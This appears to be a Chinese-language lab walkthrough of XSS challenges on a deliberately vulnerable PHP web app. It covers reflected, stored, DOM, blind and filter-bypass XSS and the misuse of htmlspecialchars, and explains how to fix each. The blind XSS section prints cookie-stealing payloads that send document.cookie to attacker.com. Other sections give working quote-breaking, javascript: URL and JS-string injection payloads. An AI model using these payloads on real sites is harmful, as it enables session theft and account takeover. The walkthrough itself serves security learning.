1.反射型xss(get)

其原理是:当你通过网站的表单(如搜索框、登录框)提交了一段恶意脚本后,服务器前后端程序没有对你的输入进行过滤,就直接将它嵌入到返回的HTML页面中。你的浏览器接收到这个页面时,会将其中的脚本当作合法代码执行,从而触发攻击

<script>alert('XSS')</script>输入测试脚本,这是一个典型的 XSS 攻击载荷,解释:

<script> - HTML 标签,告诉浏览器开始解析其中的内容为 JavaScript 代码
alert('XSS') - JavaScript 函数,用于弹出一个显示 "XSS" 的警告框
</script> - 结束标签,表示脚本代码结束

发现限制长度,抓取数据包,将提交的message参数直接改为<script>alert('XSS')</script>发送数据包,失败

缩短脚本长度,使用<svg οnlοad=alert(1)成功执行

这是一个利用SVG图像的XSS攻击载荷:

<svg> - HTML5的SVG图像标签,用于绘制矢量图形
onload - 事件处理属性,当SVG元素完成加载时自动触发
alert(1) - 被触发的JavaScript代码,弹出显示数字1的警告框

同时发现是通过前端限制了长度,将前端maxlength长度改为50,再次输入<script>alert('XSS')</script>,也可以成功弹框

在响应数据包可以发现,确实服务器在返回的HTML响应中直接包含了用户输入的内容,这属于反射型xss,同时恶意脚本作为URL参数的一部分,通过GET请求发送

2.反射型xss(post)

使用以下三种攻击载荷全都失败了,且没有在响应包中找到用户输入的内容

  1. <script>alert('XSS')</script>

  2. <svg οnlοad=alert(1)>
  3. <img src=x οnerrοr=alert('XSS')>

使用admin/123456登录进去先看下有没有弹框

在这个登录框再次尝试注入,成功弹框,看来是这个点存在xss

抓取数据包,和之前的反射型xss一样,只不过是以post请求发送的

3.存储型xss

存储型XSS的原理是:攻击者将恶意脚本提交到网站并保存在服务器中(如数据库),当其他普通用户访问包含该恶意内容的页面时,脚本会自动从服务器加载并执行,从而长期、持续地影响所有访问者。

所以在这个留言板写入注入脚本,是写进了数据库,不管是谁刷新这个页面,就会出现弹框xss

查看数据库,果然是写进来了

4.DOM型xss

DOM型XSS的原理是:攻击完全在客户端浏览器中发生,恶意脚本通过修改页面的DOM结构来执行,而不经过服务器处理;当网站的JavaScript代码将用户可控的数据(如URL片段、表单输入等)未经净化就直接写入DOM时,攻击者就能注入恶意代码并触发执行。

可以发现网页将我们提交的数据直接利用domxss()插入到了网页代码中,此攻击载荷并没有成功弹框

F12找到这个domxss函数是怎么运行的

漏洞原理:

  1. 函数获取输入框的值(str

  2. 直接将str拼接到HTML字符串中:<a href='"+str+"'>

  3. 关键问题:没有对str进行任何过滤或编码

从代码可以看出,属性值是用单引号包裹的:

  • 正确的HTML结构是:<a href='用户输入'>...</a>

  • 你需要先闭合单引号,然后注入代码

使用'><img src="#" οnmοuseοver="alert('xss')">和' οnclick="alert('xss')">都成功触发

这两个攻击载荷都需要点击先点击click me后再点击'>what do you see?后才能触发,这两个都是需要交互才能触发

使用'><img src=x οnerrοr=alert(1)>直接触发,无需交互

  1. 同步事件onerroronload等在特定条件满足时立即触发

  2. 异步事件onclickonmouseover等需要用户主动触发

5.DOM型xss-x

分析代码

和之前的一样,只是通过表单get提交,参数出现在URL中

攻击步骤:

  1. 攻击者构造恶意URL

  2. 诱使用户点击URL

  3. 用户点击"有些费尽心机想要忘记的事情,后来真的就忘掉了"链接

  4. domxss()函数执行,恶意代码被注入DOM

  5. 恶意JavaScript执行

6.xss之盲打

XSS盲打是一种攻击者无法立即看到攻击结果的存储型XSS攻击方式,攻击者将恶意脚本提交到网站的后台存储系统(如数据库、日志文件、评论审核后台等),这些脚本不会在前端页面直接显示或执行,而是等待特定用户(通常是管理员或客服人员)在后台查看这些数据时触发执行,从而窃取这些高权限用户的会话凭证或敏感信息。

前台输入恶意代码后没有回显

登录/xssblind/admin_login.php后台后,管理员登录进去就会触发xss弹框,针对特权用户的攻击

分析后台php文件,在数据入库时未进行html安全编码

攻击示例

// 在content文本框中输入
<script>
var img = new Image();
img.src = 'http://attacker.com/steal?cookie=' + document.cookie;
</script>

或者<img src=x οnerrοr="fetch('http://attacker.com/steal?cookie='+document.cookie)">

  1. 管理员登录后台(/xssblind/admin_login.php

  2. 查看用户提交的内容

  3. 浏览器执行存储在数据库中的恶意脚本

  4. 管理员的cookie被发送到攻击者服务器

7.xss之过滤

输入<script>alert('XSS')</script> 发现过滤后只剩余了符号'>'

使用<svg οnlοad=alert(1)>、<img src=x οnerrοr=alert('XSS')>都可以成功弹框,猜测只过滤了script标签

查看源码,果然是将script替换为空

8.xss之htmlspecialchars

htmlspecialchars 是PHP中用于防御XSS的核心函数之一,它的作用是将HTML中的特殊字符(如 <, >, ", ', &)转换为HTML实体(如 <, >, ", ', &)。这样可以防止用户输入被浏览器解析为HTML代码,从而阻止XSS攻击

htmlspecialchars几种典型的错误用法:

(1). 参数设置错误:没有正确处理单引号

函数有第三个参数用于设置引号的编码方式

// 错误示例:默认不编码单引号
echo '<img src="' . htmlspecialchars($user_input) . '">';
// 如果 $user_input = ' οnerrοr='alert(1)
// 输出变为:<img src='' οnerrοr='alert(1)'>
// 单引号没有被转义,导致XSS

// 正确做法:使用 ENT_QUOTES 编码双引号和单引号
echo '<img src="' . htmlspecialchars($user_input, ENT_QUOTES) . '">';
// 输出变为:<img src='&#039; οnerrοr=&#039;alert(1)'>
// 单引号被转义为 &#039;,安全。

(2). 上下文错配:在非HTML上下文中使用

htmlspecialchars 只适用于 HTML正文 和 HTML属性 的上下文。如果数据输出到其他上下文,它完全无效。

比如:

1️⃣JavaScript上下文

// 错误:在JS中使用htmlspecialchars
<script>
var user = "<?php echo htmlspecialchars($data); ?>";
// 如果 $data = "; alert(1); //,依然会执行JS
</script>
// 正确做法:需要使用 json_encode 或针对JS的转义。

2️⃣HTML事件处理器属性: 本质上也是JS上下文

<div οnclick="console.log('<?php echo htmlspecialchars($data); ?>')">

3️⃣URL属性(href, src): 如果属性值是URL,则需要使用 urlencode 进行净化,而不仅仅是HTML转义。

// 危险:虽然转义了引号,但协议可控
<a href="<?php echo htmlspecialchars($user_url, ENT_QUOTES); ?>">点击</a>
// 如果 $user_url = javascript:alert(1)
// 点击链接依然会执行JS

(3). 字符集问题:没有指定正确的字符编码

函数的第四个参数用于指定字符集。如果页面字符集(如UTF-8)与函数处理的字符集不一致,可能导致转义失效,出现“截断攻击”等高级绕过

// 错误:字符集不匹配可能导致转义序列被错误解析
htmlspecialchars($input, ENT_QUOTES, 'ISO-8859-1');
// 而页面是 <meta charset="UTF-8">

// 正确:确保与页面字符集一致
htmlspecialchars($input, ENT_QUOTES, 'UTF-8');

提交的表单浏览器将其处理为一个href属性

使用javascript:alert(1)成功弹框

使用'οnclick='alert(1)

  1. 第一个单引号 ' 闭合了href属性

  2. onclick='alert(1) 添加了新的点击事件

  3. 由于href为空,点击链接会触发onclick事件

htmlspecialchars($user_input)默认不编码单引号

使用' οnmοuseοver='alert(1)、可以自动触发,无需交互,使用' οnmοuseοver='alert(1)链接背景变红,使用' οnmοuseenter='alert(1)鼠标放链接上自动触发,等等

示列获取cookies

查看php源码,htmlspecialchars($user_input)默认不编码单引号

9.xss之herf输出

发现这次这之前的herf区别有是双引号进行闭合,尝试闭合" οnclick="alert(1),失败,应该是html页面固定了结构

href属性允许使用JavaScript协议

当href属性的值以javascript:开头时,点击链接会执行后面的JavaScript代码。

使用javascript:alert('xss')成功弹框

分析php源码,

由于使用了ENT_QUOTES,单引号和单引号会被转义;,所以之前尝试的' οnclick='alert(1)确实无法成功。

但是,javascript协议仍然可以工作,因为它不依赖引号闭合。

10.xss之js输出

继续使用javascript:alert(1)进行测试,发现没有回显,抓个数据包看一下,发现输入的数据被嵌入到js代码中

由于用户输入被放在单引号字符串中,我们需要闭合字符串并执行JavaScript代码。但是,注意这里的上下文是JavaScript字符串,并且最终输出到页面使用的是jQuery的text()方法,这个方法会安全地设置文本内容,不会解析HTML。所以,即使我们注入了JavaScript代码,也不会被执行,因为text()方法不会解析HTML标签。

通过此回显进行构造数据包

使用 ';alert(1)// 

代码就变成$ms='';alert(1);//';

在赋值 $ms为空之后,会执行alert(1),然后注释掉后面的单引号,避免语法错误

成功弹框


获取域名试试
';alert(document.domain);//

Logo

火山引擎开发者社区是火山引擎打造的AI技术生态平台,聚焦Agent与大模型开发,提供豆包系列模型(图像/视频/视觉)、智能分析与会话工具,并配套评测集、动手实验室及行业案例库。社区通过技术沙龙、挑战赛等活动促进开发者成长,新用户可领50万Tokens权益,助力构建智能应用。

更多推荐